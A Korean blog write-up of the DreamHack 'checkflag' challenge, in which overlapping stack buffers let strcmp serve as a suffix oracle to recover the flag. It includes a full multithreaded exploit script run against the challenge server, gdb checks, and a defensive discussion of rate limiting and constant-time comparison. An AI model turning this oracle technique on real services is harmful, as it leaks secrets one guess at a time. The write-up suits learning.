[🥉 Bronze 3] 리크도 셸도 없이 strcmp 하나를 오라클로 바꾸기 — DreamHack checkflag 풀이

2026-07-28·1분 읽기·

[🥉 Bronze 3] 리크도 셸도 없이 strcmp 하나를 오라클로 바꾸기 — DreamHack checkflag 풀이

플래그를 맞히면 Correct 를, 틀리면 Failed 를 돌려주는 것이 전부인 바이너리다. 리크할 포인터도 덮을 리턴 주소도 없다. 그런데 main 이 flag 를 담는 버퍼와 우리가 입력하는 버퍼를 같은 스택 영역에 0x40 간격으로 나란히 놓고, read 는 그보다 훨씬 긴 0xc8 바이트를 받는다. 0x40+d 바이트를 보내면 flag 앞 d 글자가 내 바이트로 덮이고, 그 상태의 strcmp 는 "flag 의 남은 뒷부분이 이거 맞아?" 라는 접미사 오라클이 된다. 뒤에서부터 한 글자씩 물어보면 16글자가 16초 만에 나온다.

문제: DreamHack — checkflag 분류: Pwnable + Reversing 난이도: 🥉 Bronze 3 FLAG: DH{RHP1_ZPWR2G!}


문제 개요

배포물checkflag (ELF64 PIE, not stripped, 8,584 B)
서버필요 (needs_vm: true — 진짜 flag 는 원격 파일에만 있다)
핵심 기법스택 버퍼 겹침 → strcmp 를 접미사 일치 오라클로 전환

문제 설명은 짧다. 플래그를 입력하면 맞았는지 알려주고, flag 는 DH{...} 형식에 출력 가능한 ASCII(0x20~0x7e)만 쓴다고 한다.

파일로 주는 바이너리에는 진짜 flag 가 없다. 같은 폴더의 flag 파일을 읽어 비교할 뿐이라 로컬에서는 가짜 flag 를 두고 기법만 검증하고, 실제 값은 원격 서버에서 뽑아야 한다.

1. 정찰

배포된 zip 을 풀면 checkflag 하나가 나온다. 먼저 무엇인지부터 본다.

cd extracted
file checkflag && checksec --file=checkflag
file 과 checksec 으로 본 checkflag — ELF64 PIE, 동적 링크, Full RELRO, 카나리 있음, not stripped
file 과 checksec 으로 본 checkflag — ELF64 PIE, 동적 링크, Full RELRO, 카나리 있음, not stripped

PIE 에 not stripped. 심볼이 남아 있어 main 을 바로 찾을 수 있다.

이 문제는 보호 기법을 우회할 필요가 없다. 스택을 넘어 리턴 주소를 덮는 공격이 아니기 때문이다. read 가 받는 길이도 스택 카나리 앞에서 정확히 끊긴다 — 뒤에서 보겠지만 의도적으로 딱 그만큼만 받는다.

어디부터 볼 것인가

not stripped 라 심볼이 다 남아 있지만, 그렇다고 전부 읽을 필요는 없다. 이런 "입력을 받아 판정만 하는" 바이너리는 어떤 라이브러리 함수를 부르는지만 봐도 구조가 거의 드러난다.

PLT 를 훑으면 fopen · fgets · fclose · fputs · fflush · read · strcmp 가 전부다. 여기서 읽히는 이야기가 있다.

  • fopen + fgets + fclose → 파일에서 한 줄을 읽는다. 그게 flag 일 것이다
  • read → 표준 입력에서 우리 입력을 받는다. fgets 가 아니라 read 인 게 눈에 띈다. 개행에서 끊기지 않고 지정한 길이만큼 통째로 받는다는 뜻이다
  • strcmp → 문자열 비교 한 번. 판정은 여기서 끝난다

memcmp 도 strncmp 도 아니고 strcmp 라는 점이 중요하다. strcmp 는 NUL 을 만나면 멈춘다. 즉 우리가 입력 어딘가에 NUL 을 심으면 비교 대상의 끝을 우리가 정할 수 있다. 이 성질이 뒤에서 오라클을 만드는 재료가 된다.

2. main 이 메모리를 어떻게 쓰는가

objdump 로 main 앞부분을 본다. 눈으로 따라가기 어려워서 핵심 세 줄에는 sed 로 주석을 얹었다(annotate_main.sed). 디스어셈블 원문은 objdump 출력 그대로고, ; 뒤가 내가 붙인 것이다.

s|mov    rbx,rsp$|&                   ; rbx = 입력 버퍼 (rsp+0x00)|
s|rep stos DWORD PTR \[rdi\],eax|&  ; 0xc8 바이트 전부 0 으로|
s|lea    rbp,\[rbx+0x40\]$|&           ; ★rbp = flag 버퍼 = 입력 버퍼 + 0x40|
objdump -d -M intel --start-address=0x7f7 --stop-address=0x830 extracted/checkflag \
  | sed -n '8,26p' | sed -f annotate_main.sed
main 앞부분 디스어셈블에 주석을 얹었다 — rbx 가 입력 버퍼, rbp = rbx+0x40 이 flag 버퍼
main 앞부분 디스어셈블에 주석을 얹었다 — rbx 가 입력 버퍼, rbp = rbx+0x40 이 flag 버퍼

세 줄이 전부다.

mov  rbx, rsp              ; rbx = 스택 버퍼 시작
rep stos DWORD PTR [rdi]   ; 0xc8 바이트를 0 으로 밀고
lea  rbp, [rbx+0x40]       ; rbp = rbx + 0x40

그리고 fopen("flag","r") → fgets(rbp, 0x40, f) 로 flag 를 rbx+0x40 에 적재한다.

이제 입력을 받는 쪽을 본다.

read 와 strcmp 구간 — read 는 rbx 에 0xc8 바이트를 받고, strcmp 는 rbx 와 rbp 를 비교한다
read 와 strcmp 구간 — read 는 rbx 에 0xc8 바이트를 받고, strcmp 는 rbx 와 rbp 를 비교한다
mov  edx, 0xc8             ; 200 바이트까지 받는다
mov  rsi, rbx              ; 목적지는 rbx — flag 버퍼보다 0x40 앞
call read
 
repnz scas                 ; strlen(flag 버퍼)
cmp  rax, rdx              ; 입력 길이보다 길면 Failed
call strcmp                ; strcmp(rbx, rbp)

두 버퍼가 같은 200바이트 영역을 0x40 간격으로 공유한다. 그런데 입력은 0x40 을 훌쩍 넘는 0xc8 바이트까지 받는다. 즉 0x40 바이트를 넘겨 보내면 그 뒤는 flag 위에 쓰인다.

fgets 가 최대 0x40 바이트를 읽으므로 flag 는 rbx+0x40 ~ rbx+0x7f 를 쓰고, 입력은 rbx+0x00 ~ rbx+0xc7 을 쓴다. 겹치는 구간이 flag 전체다.

그림으로 놓으면 이렇다.

        rbx+0x00                rbx+0x40                rbx+0x7f      rbx+0xc8
           |                       |                       |             |
입력 read  [=======================|=======================|=============]  0xc8 바이트
flag fgets                         [=======================]                0x40 바이트
                                   ↑
                        여기부터 우리가 덮어쓸 수 있다

read 가 rbx 부터 채우므로 0x40 번째 바이트부터가 곧 flag 의 첫 글자 자리다. 0x40 바이트만 보내면 flag 는 멀쩡하고, 0x41 바이트를 보내면 flag 첫 글자가 바뀐다.

정말 겹치는지 gdb 로 확인

디스어셈블리만 보고 "겹친다"고 단정하고 싶지는 않았다. main 안의 strcmp 호출 지점에 브레이크를 걸고 두 인자의 주소를 직접 찍었다. 입력으로는 d=4 짜리 페이로드 ('A'*4 + "GUESS" + NUL 패딩 + 'A'*4, 총 0x44 바이트)를 넣었다.

먼저 그 입력을 파일로 만든다. read 로 받으므로 리다이렉트로 먹이면 된다.

python3 -c "
import sys
d = 4
p = b'A'*d + b'GUESS'
p = p + b'\x00'*(0x40 - len(p)) + b'A'*d
sys.stdout.buffer.write(p)" > payload_d4.bin

cmds.gdb 는 이렇게 썼다. 출력에 보이는 한글 줄은 전부 아래 printf 가 찍는 것이다 — gdb 가 알아서 해 주는 게 아니라 내가 읽기 편하라고 라벨을 붙인 것이다.

set pagination off
set confirm off
break *(main+0xbd)
run < payload_d4.bin
printf "\n=== main 안 strcmp 호출 직전 ===\n"
printf "arg1 rdi (입력 버퍼) = %p\n", $rdi
printf "arg2 rsi (flag 버퍼) = %p\n", $rsi
printf "간격 rsi - rdi       = 0x%lx  <-- 0x40 이면 겹침 확정\n", (unsigned long)$rsi-(unsigned long)$rdi
printf "입력 버퍼 내용        = %s\n", (char *)$rdi
printf "flag 버퍼 내용        = %s  <-- 앞 4바이트가 A 로 덮였다\n", (char *)$rsi
quit

main+0xbd 는 strcmp 호출 직전 명령의 오프셋이다. PIE 라 절대주소가 실행마다 바뀌므로 숫자를 그대로 믿지 말고 objdump -d extracted/checkflag 에서 call ... <strcmp@plt> 바로 앞 명령의 main 기준 오프셋을 직접 확인해 넣는다. *(main+오프셋) 으로 잡으면 로드 베이스는 gdb 가 더해 준다.

cd local && gdb -q -batch -x cmds.gdb ./checkflag 2>&1 | tail -11
gdb 로 strcmp 호출 직전을 잡은 화면 — rsi-rdi 가 정확히 0x40 이고 flag 버퍼 앞 4바이트가 AAAA 로 덮였다
gdb 로 strcmp 호출 직전을 잡은 화면 — rsi-rdi 가 정확히 0x40 이고 flag 버퍼 앞 4바이트가 AAAA 로 덮였다
arg1 rdi (입력 버퍼) = 0x7fffffffd5d0
arg2 rsi (flag 버퍼) = 0x7fffffffd610
간격 rsi - rdi       = 0x40
입력 버퍼 내용        = AAAAGUESS
flag  버퍼 내용       = AAAA0cal_t3st_fl4g_for_checkflag_5678}

가짜 flag 는 원래 DH{l0cal_t3st_... 인데, 앞 4글자 DH{l 이 내가 보낸 AAAA 로 바뀌어 있다. 겹침이 실측으로 확인됐다.

read 가 왜 하필 0xc8 인가

이 숫자를 그냥 넘기지 않는 게 좋다. main 프롤로그를 보면 sub rsp, 0xd0 으로 208바이트를 잡고, mov QWORD PTR [rsp+0xc8], rax 로 rsp+0xc8 에 스택 카나리를 넣는다. 그리고 rep stos 가 미는 범위도, read 가 받는 길이도 정확히 0xc8 이다.

main 프롤로그 디스어셈블 — sub rsp,0xd0 으로 208바이트를 잡고 rsp+0xc8 에 스택 카나리를 넣는다
main 프롤로그 디스어셈블 — sub rsp,0xd0 으로 208바이트를 잡고 rsp+0xc8 에 스택 카나리를 넣는다

즉 이 프로그램은 카나리 직전까지 꽉 채워 받되 카나리는 건드리지 않도록 설계돼 있다. 리턴 주소를 덮는 고전적인 스택 오버플로우는 처음부터 막혀 있다는 뜻이고, 출제자가 "이쪽이 아니라 다른 걸 보라"고 선을 그어 둔 셈이다.

그래서 이 문제의 답은 경계를 넘는 것이 아니라 경계 안에서 두 버퍼가 겹치는 것이다. 받을 수 있는 200바이트는 전부 합법적인 입력 영역인데, 그 안에 flag 가 같이 살고 있다.

3. strcmp 를 오라클로 바꾸기

여기서 한 걸음 더 나가야 한다. 겹친다는 것만으로는 flag 를 읽을 수 없다. strcmp 는 같다/다르다 한 비트만 알려주기 때문이다. 그 한 비트로 무엇을 물어볼 수 있는지가 관건이다.

0x40 + d 바이트를 보낸다고 하자. 뒤쪽 d 바이트가 flag 앞머리를 덮으므로, strcmp 가 비교하는 두 문자열은 이렇게 된다.

내용
좌변 (입력 버퍼)내가 보낸 앞부분에서 첫 NUL 앞까지
우변 (flag 버퍼)K + flag[d:] — 여기서 K 는 내가 덮은 d 바이트

우변의 K 는 내가 정한 값이라 이미 안다. 그러니 좌변을 K + 추측 으로 만들고 NUL 로 끊으면, strcmp 의 결과는 곧 "flag[d:] 가 내 추측과 같은가?" 가 된다.

d 를 크게 잡을수록 남는 꼬리가 짧아지므로, 뒤에서부터 한 글자씩 좁혀 나갈 수 있다.

정말 그런지 서버 없이 확인하고 싶어서, 페이로드와 그때의 두 문자열을 그대로 찍는 스크립트를 따로 만들었다. tools_oracle_demo.py 전문이다 — 아래 출력의 한글은 전부 이 print 가 찍는다.

#!/usr/bin/env python3
"""오라클이 왜 성립하는지 페이로드를 직접 찍어 본다."""
BUF = 0x40
 
def build(d, guess):
    K = b"A" * d                         # flag 앞 d바이트를 덮을 알려진 바이트
    A = K + guess                        # strcmp 좌변에 놓을 기대 문자열
    head = A + b"\x00" * (BUF - len(A))  # NUL 로 끊는다
    return head + K                      # 총 0x40 + d
 
flag = b"DH{ABCDEF}"                     # 설명용 가짜 flag
for d in (0, 3, 7):
    p = build(d, b"?")
    left  = p[:p.index(b"\x00")]                     # strcmp 좌변
    right = b"A" * d + flag[d:]                      # 덮인 뒤의 flag 버퍼
    print(f"d={d}  보낸길이={len(p):3d}  좌변={left!r:14}  우변(flag버퍼)={right!r}")
    print(f"        → 물어보는 것: flag[{d}:] 가 '?' 인가?   남은 부분={flag[d:]!r}")
python3 tools_oracle_demo.py
tools_oracle_demo.py 출력 — d 를 0·3·7 로 늘려 가며 보낸 길이와 좌변·우변을 나란히 찍었다. d 가 커질수록 strcmp 가 묻는 flag 꼬리가 짧아진다
tools_oracle_demo.py 출력 — d 를 0·3·7 로 늘려 가며 보낸 길이와 좌변·우변을 나란히 찍었다. d 가 커질수록 strcmp 가 묻는 flag 꼬리가 짧아진다

표로 보면 이렇다. flag 가 DH{ABCDEF} 라고 하자.

d보낸 길이좌변(입력)우변(flag 버퍼)물어보는 것
00x40?DH{ABCDEF}flag 전체가 ? 인가
30x43AAA?AAA{ABCDEF} 의 뒤 → AAA + ABCDEF}flag[3:] 가 ? 인가
70x47AAAAAAA?AAAAAAA + EF}flag[7:] 가 ? 인가

d 를 키우면 물어보는 꼬리가 짧아진다. d = len-1 에서 시작해 마지막 한 글자부터 맞히고, 맞힌 글자를 추측에 이어 붙이면서 d 를 하나씩 줄이면 전체가 복원된다.

길이도 같은 방식으로 얻는다. d 가 flag 길이 이상이면 우변이 K 뿐이 되어, 추측을 빈 문자열로 두면 좌변도 K 라 무조건 일치한다. 그러니 빈 추측이 처음 통과하는 d 가 곧 flag 길이다.

def find_length(io, workers):
    """d >= len(flag) 이면 B 가 K 뿐이라 A 와 같아진다."""
    for base in range(0, MAXLEN, workers):
        cand = list(range(base, min(base + workers, MAXLEN)))
        with ThreadPoolExecutor(max_workers=workers) as ex:
            hits = list(ex.map(lambda d: io.ask(build(d, b"")), cand))
        for d, ok in zip(cand, hits):
            if ok:
                return d
    raise RuntimeError("길이 판별 실패")

한 글자를 확정하려면 최대 95번(0x20~0x7e) 물어봐야 하므로, 후보를 스레드로 병렬 질의하고 flag 에 자주 쓰이는 문자를 앞으로 당겨 탐색 횟수를 줄였다.

CHARSET  = bytes([0x0a]) + bytes(range(0x20, 0x7f))
PRIORITY = b"}_{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n"
CHARSET  = bytes(dict.fromkeys(PRIORITY + CHARSET))

0x0a 를 넣어 둔 이유는 뒤에서 설명한다. 문제 설명은 출력 가능한 ASCII 만 쓴다고 했지만, 메모리에 실제로 들어 있는 문자열은 그것과 다를 수 있다.

정말 두 갈래로 갈리는지 라이브 서버에 직접 물어봤다. d=4 에 말도 안 되는 추측을 넣은 것과, d=12 에 실제 꼬리(2G!})를 넣은 것을 나란히 보낸다.

tools_oracle_channel.py 전문이다. 서버 주소는 자기 인스턴스 것으로 바꿔야 한다.

#!/usr/bin/env python3
"""오라클의 관측 채널이 실제로 두 갈래인지 라이브 서버에 물어본다."""
import socket
HOST, PORT, BUF = "host3.dreamhack.games", 15870, 0x40
 
def ask(payload: bytes) -> bytes:
    s = socket.create_connection((HOST, PORT), timeout=8)
    s.recv(64)                       # "What's the flag? "
    s.sendall(payload)
    out = b""
    while True:
        c = s.recv(256)
        if not c:
            break
        out += c
    s.close()
    return out.strip()
 
def build(d: int, guess: bytes) -> bytes:
    K = b"A" * d
    A = K + guess
    return A + b"\x00" * (BUF - len(A)) + K
 
print("d=4  추측 'XXX'   →", ask(build(4,  b"XXX")))    # flag[4:] 가 XXX 일 리 없다
print("d=12 추측 '2G!}'  →", ask(build(12, b"2G!}")))   # flag[12:] 는 실제로 2G!}
python3 tools_oracle_channel.py
tools_oracle_channel.py 로 라이브 서버에 직접 물어본 응답 — d=4 의 틀린 추측은 Failed!, d=12 의 맞는 추측은 Correct! 로 정확히 갈린다. 이 한 비트가 오라클이다
tools_oracle_channel.py 로 라이브 서버에 직접 물어본 응답 — d=4 의 틀린 추측은 Failed!, d=12 의 맞는 추측은 Correct! 로 정확히 갈린다. 이 한 비트가 오라클이다

Failed! 와 Correct! 로 깨끗하게 갈린다. 이 한 비트가 우리가 가진 전부이자, 필요한 전부다.

복원 루프는 이렇게 생겼다. 이미 맞힌 뒷부분 known 앞에 후보 한 글자를 붙여 물어본다.

def leak(io, length, workers, verbose=True) -> bytes:
    known = b""
    for pos in range(length - 1, -1, -1):          # 뒤에서부터
        found = None
        for base in range(0, len(CHARSET), workers):
            cand = CHARSET[base:base + workers]
            with ThreadPoolExecutor(max_workers=workers) as ex:
                hits = list(ex.map(lambda c: io.ask(build(pos, bytes([c]) + known)), cand))
            for c, ok in zip(cand, hits):
                if ok:
                    found = c
                    break
            if found is not None:
                break
        if found is None:
            raise RuntimeError(f"{pos}번째 문자 복원 실패")
        known = bytes([found]) + known
    return known

질의 횟수는 최악의 경우 길이 × 95 다. 원격 16글자면 1,520번인데, 실제로는 우선순위 문자열 덕분에 훨씬 적게 끝난다. 그래도 매 질의가 TCP 연결 한 번이라 병렬화가 필요하다. 워커 8개로 묶어 한 번에 8글자 후보를 동시에 던진다.

4. 로컬 검증

원격에 붙기 전에 가짜 flag 로 기법이 도는지 확인한다. 바이너리가 CWD 의 flag 파일을 열기 때문에 그 파일이 있는 디렉토리에서 실행해야 한다.

로컬 가짜 flag 로 기법을 검증한 화면 — solve.py 가 길이 39 를 먼저 판별한 뒤 뒤에서부터 한 글자씩 붙여 가며 전부 복원하고 마지막 줄에 완성된 flag 를 찍는다
로컬 가짜 flag 로 기법을 검증한 화면 — solve.py 가 길이 39 를 먼저 판별한 뒤 뒤에서부터 한 글자씩 붙여 가며 전부 복원하고 마지막 줄에 완성된 flag 를 찍는다

뒤에서부터 한 글자씩 자라나는 게 그대로 보인다. 0.8초에 39글자가 나왔다.

🔧 삽질 — 길이가 39 인데 flag 는 38글자였다

로컬 가짜 flag 는 DH{l0cal_t3st_fl4g_for_checkflag_5678} 로 38글자다. 그런데 길이 판별은 39 를 돌려줬고, 복원된 마지막 글자가 \n 이었다.

원인은 fgets 다. fgets 는 개행을 버리지 않고 그대로 남긴다. flag 파일 끝에 개행이 있으면 메모리상 문자열은 DH{...}\n 이 되고, strcmp 는 그 개행까지 포함해 비교한다.

그래서 CHARSET 에 0x0a 를 넣어 뒀다. 이걸 빼먹으면 마지막 한 글자에서 후보가 전부 실패하고 RuntimeError 로 죽는다 — 앞의 38글자를 다 맞혀 놓고 마지막에 막히는 형태라 원인을 찾기도 헷갈린다.

재미있는 건 원격은 39가 아니라 16이 나왔다는 것이다. 서버의 flag 파일에는 끝 개행이 없다. 같은 바이너리라도 파일을 어떻게 만들었느냐에 따라 메모리상 길이가 달라진다.

5. 원격에서 진짜 flag

로컬에서 확정된 페이로드를 그대로 서버에 붙인다. 서비스는 TCP 로 열려 있고 접속하면 What's the flag? 배너를 보낸다. 익스를 붙이기 전에 프로토콜부터 한 줄로 확인했다.

python3 -c "
import socket
s=socket.create_connection((\"host3.dreamhack.games\",15870),timeout=8)
print(\"배너:\", s.recv(64))
s.sendall(b\"test\n\"); print(\"응답:\", s.recv(64)); s.close()"
tools_banner.py 로 라이브 서버에 붙어 확인한 화면 — 배너는 What's the flag? 이고 아무 값이나 보내면 Failed! 가 돌아온다
tools_banner.py 로 라이브 서버에 붙어 확인한 화면 — 배너는 What's the flag? 이고 아무 값이나 보내면 Failed! 가 돌아온다

원격 클래스는 소켓을 열고 배너를 버린 뒤 페이로드를 보내고 응답에 Correct! 가 있는지만 본다. 질의가 수백 번 나가므로 네트워크 오류는 몇 번 재시도한다.

class Remote:
    def ask(self, payload: bytes) -> bool:
        for _ in range(4):                     # 네트워크 오류는 재시도
            try:
                s = socket.create_connection((self.host, self.port), timeout=10)
                s.recv(64)                     # "What's the flag? "
                s.sendall(payload)
                data = b""
                while True:
                    chunk = s.recv(256)
                    if not chunk:
                        break
                    data += chunk
                s.close()
                return b"Correct!" in data
            except OSError:
                continue
        raise RuntimeError("연결 실패")

돌린 결과다.

원격 서버를 상대로 solve.py 를 돌린 화면 — 메모리상 flag 길이 16 을 먼저 판별하고 뒤에서부터 16글자를 차례로 복원해 마지막 줄에 진짜 flag 를 뽑아냈다
원격 서버를 상대로 solve.py 를 돌린 화면 — 메모리상 flag 길이 16 을 먼저 판별하고 뒤에서부터 16글자를 차례로 복원해 마지막 줄에 진짜 flag 를 뽑아냈다
[+] 메모리상 flag 문자열 길이 = 16
  [15] }
  [14] !}
  [13] G!}
  ...
  [ 1] H{RHP1_ZPWR2G!}
  [ 0] DH{RHP1_ZPWR2G!}
[+] FLAG = DH{RHP1_ZPWR2G!}

16초. 로컬 39글자보다 짧아서 더 빨리 끝났다.

제출은 첫 응답이 "오답" 으로 나왔다가 한 번 더 넣으니 정답 처리됐다. 이 사이트에서 종종 겪는 오탐이라, 값을 의심하기 전에 재제출해 보는 편이 낫다.

왜 병렬화가 필요했나

로컬은 프로세스를 새로 띄우는 것뿐이라 39글자가 0.8초에 끝났다. 원격은 다르다. ask() 한 번이 TCP 연결·배너 수신·전송·응답 수신·종료 전 과정이라 왕복 지연이 그대로 쌓인다.

순차로 돌리면 최악 1,520회 × 왕복시간이 되어 몇 분 단위로 늘어진다. 서버가 접속을 제한하지 않는다는 점을 이용해 워커 8개로 후보를 묶어 던졌더니 16초로 줄었다.

병렬화에서 한 가지 조심할 게 있다. ThreadPoolExecutor.map 은 입력 순서대로 결과를 돌려주므로, 같은 배치에서 여러 후보가 동시에 Correct! 를 받는 상황(이론상 없어야 하지만)이 와도 앞선 후보를 먼저 채택한다. 순서가 뒤섞이지 않으니 결과가 흔들리지 않는다.

실제로 쓴 solve.py 전문

위 캡쳐 두 장(로컬·원격)을 만든 바로 그 파일이다. 앞에서 조각으로 나눠 설명했지만, 조각만 보고 다시 조립하려면 성가시니 통째로 싣는다. 로컬·원격 겸용이다.

#!/usr/bin/env python3
"""checkflag (Dreamhack, Bronze III) — 스택 버퍼 겹침을 이용한 접미사 일치 오라클 flag 추출.
 
메모리 배치 (main)
    rsp+0x00 ... rsp+0xc7   read(0, rsp, 0xc8) 로 우리가 채우는 입력 버퍼(200바이트, 시작 시 전부 0)
    rsp+0x40 ... rsp+0x7f   fgets(rsp+0x40, 0x40, flag) 로 적재된 flag 문자열
 
    → 입력이 0x40바이트를 넘으면 flag 앞부분을 우리가 덮어쓴다.
      N = 0x40 + d 바이트를 보내면 flag[0:d] 는 우리 바이트 K 로 대체되고 flag[d:] 는 그대로 남는다.
 
      strcmp(rsp+0x00, rsp+0x40) 이 비교하는 두 문자열은
          A = (입력 앞 0x40바이트 중 NUL 앞까지)
          B = K + flag[d:]
      A 를 완전히 통제할 수 있으므로 "flag[d:] == G 인가?" 라는 접미사 일치 오라클이 된다.
      → 뒤에서부터 한 글자씩 복원.
"""
import argparse
import socket
import subprocess
from concurrent.futures import ThreadPoolExecutor
 
BUF = 0x40          # 입력 버퍼 시작 ~ flag 버퍼 시작까지의 거리
MAXLEN = 0x40       # fgets 최대 길이
 
# fgets 는 개행을 그대로 남기므로 0x0a 도 후보에 넣는다. 나머지는 문제 설명의 0x20~0x7e.
CHARSET = bytes([0x0a]) + bytes(range(0x20, 0x7f))
# flag 에서 자주 쓰이는 문자를 앞으로 (탐색 횟수 절약)
PRIORITY = b"}_{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n"
CHARSET = bytes(dict.fromkeys(PRIORITY + CHARSET))
 
 
def build(d: int, guess: bytes) -> bytes:
    """flag[d:] == guess 를 물어보는 페이로드."""
    K = b"A" * d                      # flag 앞 d바이트를 덮어쓸 알려진 바이트
    A = K + guess                     # strcmp 좌변에 놓을 기대 문자열
    assert len(A) < BUF, f"A too long: {len(A)}"
    head = A + b"\x00" * (BUF - len(A))   # NUL 로 끊어 A 를 확정, 나머지는 0
    return head + K                       # 총 0x40 + d 바이트
 
 
class Local:
    def __init__(self, path):
        self.path = path
 
    def ask(self, payload: bytes) -> bool:
        p = subprocess.run([self.path], input=payload,
                           stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
        return b"Correct!" in p.stdout
 
 
class Remote:
    def __init__(self, host, port):
        self.host, self.port = host, port
 
    def ask(self, payload: bytes) -> bool:
        for _ in range(4):                     # 네트워크 오류는 재시도
            try:
                s = socket.create_connection((self.host, self.port), timeout=10)
                s.settimeout(10)
                s.recv(64)                     # "What's the flag? "
                s.sendall(payload)
                data = b""
                while True:
                    chunk = s.recv(256)
                    if not chunk:
                        break
                    data += chunk
                s.close()
                return b"Correct!" in data
            except OSError:
                continue
        raise RuntimeError("연결 실패")
 
 
def find_length(io, workers) -> int:
    """d >= len(flag) 이면 B 가 K 뿐이라 A 와 같아진다 → 처음 Correct 나오는 d 가 곧 길이."""
    for base in range(0, MAXLEN, workers):
        cand = list(range(base, min(base + workers, MAXLEN)))
        with ThreadPoolExecutor(max_workers=workers) as ex:
            hits = list(ex.map(lambda d: io.ask(build(d, b"")), cand))
        for d, ok in zip(cand, hits):
            if ok:
                return d
    raise RuntimeError("길이 판별 실패")
 
 
def leak(io, length, workers, verbose=True) -> bytes:
    known = b""
    for pos in range(length - 1, -1, -1):
        found = None
        for base in range(0, len(CHARSET), workers):
            cand = CHARSET[base:base + workers]
            with ThreadPoolExecutor(max_workers=workers) as ex:
                hits = list(ex.map(lambda c: io.ask(build(pos, bytes([c]) + known)), cand))
            for c, ok in zip(cand, hits):
                if ok:
                    found = c
                    break
            if found is not None:
                break
        if found is None:
            raise RuntimeError(f"{pos}번째 문자 복원 실패")
        known = bytes([found]) + known
        if verbose:
            shown = known.replace(b"\n", b"\\n").decode("latin1")
            print(f"  [{pos:2d}] {shown}", flush=True)
    return known
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--local", metavar="BIN", help="로컬 바이너리 경로로 검증")
    ap.add_argument("--remote", metavar="HOST:PORT", help="원격 서비스")
    ap.add_argument("--workers", type=int, default=8)
    args = ap.parse_args()
 
    if args.local:
        io, workers = Local(args.local), args.workers
    else:
        host, port = args.remote.rsplit(":", 1)
        io, workers = Remote(host, int(port)), args.workers
 
    length = find_length(io, workers)
    print(f"[+] 메모리상 flag 문자열 길이 = {length}")
    flag = leak(io, length, workers)
    print(f"[+] FLAG = {flag.decode('latin1').strip()}")
 
 
if __name__ == "__main__":
    main()

실행은 이렇게 한다. 로컬은 반드시 local/ 안에서 돌려야 한다 — 바이너리가 CWD 의 flag 파일을 열기 때문에, 밖에서 돌리면 fopen 이 NULL 을 받아 조기 종료하고 "길이 판별 실패" 만 난다. 기본값이 곧 실패값인 셈이라 처음에 여기서 한 번 헤맸다.

cd local && python3 ../solve.py --local ./checkflag          # 가짜 flag 로 기법 검증
python3 solve.py --remote host3.dreamhack.games:15870 --workers 8   # 라이브

6. 왜 이 구조가 취약한가

문제를 떠나 코드 관점에서 정리해 둔다.

같은 버퍼를 두 용도로 쓰면 안 된다. 이 프로그램의 실수는 딱 하나, 비밀(flag)과 신뢰할 수 없는 입력을 인접한 같은 스택 영역에 놓은 것이다. char buf[200] 하나를 잡아 앞은 입력, +0x40 부터는 flag 로 쓰는 식이면 정확히 이 코드가 된다. 비밀은 별도 버퍼에, 가능하면 입력 버퍼와 멀리 떨어뜨려야 한다.

입력 길이는 "받을 수 있는 최대"가 아니라 "받아야 하는 최대"로 잡는다. flag 가 최대 0x40 바이트인데 입력을 0xc8 바이트나 받을 이유가 없다. read(0, buf, 0x40) 이었다면 겹침 자체가 성립하지 않는다.

비교 결과 한 비트도 정보다. 이 문제에는 리크가 없다. Correct! / Failed 두 갈래뿐인데, 그 한 비트를 내가 통제하는 조건 아래에서 반복 질의할 수 있었기 때문에 flag 전체가 새어 나왔다. 비밀번호·토큰 비교에서 시도 횟수 제한이나 상수 시간 비교(hmac.compare_digest 류)를 두는 이유가 이것이다. 이 서버는 접속 제한도, 시도 횟수 제한도 없었다.

이건 사이드채널이다. 타이밍이나 전력 같은 물리량이 아니라 프로그램이 스스로 뱉는 성공/실패 한 비트를 쓴다는 점만 다르지, 구조는 똑같다. 비밀을 직접 읽지 않고 비밀에 의존하는 관측 가능한 값을 반복해서 모아 복원한다.

같은 형태를 실무에서 자주 만난다.

이름관측하는 것복원하는 것
패딩 오라클복호 성공/패딩 오류암호문 평문
블라인드 SQL 인젝션참/거짓 응답 차이DB 내용
타이밍 공격비교에 걸린 시간비밀번호·토큰
이 문제Correct!/Failedflag

방어도 같은 계열이다. 비밀이 관측값에 영향을 주는 경로를 끊거나, 관측 횟수를 제한한다. 전자가 상수 시간 비교이고 후자가 시도 횟수 제한이다. 이 서버는 둘 다 없었다.

길이 검사가 방어가 되지 못했다. strlen(flag) > 입력길이 면 Failed 로 끊는 코드가 있는데, 우리는 항상 flag 보다 긴 0x40+d 를 보내므로 한 번도 걸리지 않는다. 방어처럼 보이지만 공격 경로를 전혀 막지 못하는 검사다.

7. 이번에 배운 것

"리크가 없다"와 "정보가 없다"는 다르다. 처음 이 문제를 봤을 때 든 생각은 "출력이 두 갈래뿐인데 뭘 할 수 있나" 였다. 그런데 그 한 비트를 내가 조건을 통제하면서 반복해 물어볼 수 있다면 얘기가 달라진다. 출력 채널의 폭이 아니라 질의 횟수 × 통제 가능성이 실제 정보량을 정한다.

정적 분석의 결론은 런타임으로 한 번 받아 본다. lea rbp,[rbx+0x40] 을 보고 "겹치겠네" 하는 것과, gdb 로 rsi-rdi = 0x40 을 찍고 flag 앞 4바이트가 실제로 AAAA 로 바뀐 걸 보는 것은 확신의 무게가 다르다. 익스를 짜기 전에 30초면 되는 확인이고, 틀렸다면 거기서 멈출 수 있다.

메모리에 있는 문자열은 파일 내용과 다르다. fgets 의 개행 하나 때문에 로컬은 39, 원격은 16이 나왔다. 문제 설명이 "출력 가능한 ASCII"라고 했어도 그건 flag 값의 이야기지 메모리에 적재된 문자열의 이야기가 아니다. 이런 종류의 문제에서는 후보 문자셋을 설명보다 한 칸 넓게 잡아 두는 편이 안전하다.


정리

  • main 이 입력 버퍼(rsp)와 flag 버퍼(rsp+0x40)를 같은 200바이트 스택 영역에 놓는다
  • read 는 0xc8 바이트를 받으므로 0x40+d 를 보내면 flag 앞 d 글자가 내 바이트로 덮인다
  • 덮은 값을 아는 상태의 strcmp 는 "flag 의 남은 뒷부분이 이거 맞아?" 오라클이 된다
  • 빈 추측이 처음 통과하는 d 가 곧 메모리상 flag 길이 (로컬 39 / 원격 16)
  • fgets 는 개행을 남긴다 — CHARSET 에 0x0a 를 넣어 두지 않으면 마지막 글자에서 막힌다

이 글이 도움이 됐나요?

Comments

댓글

0개

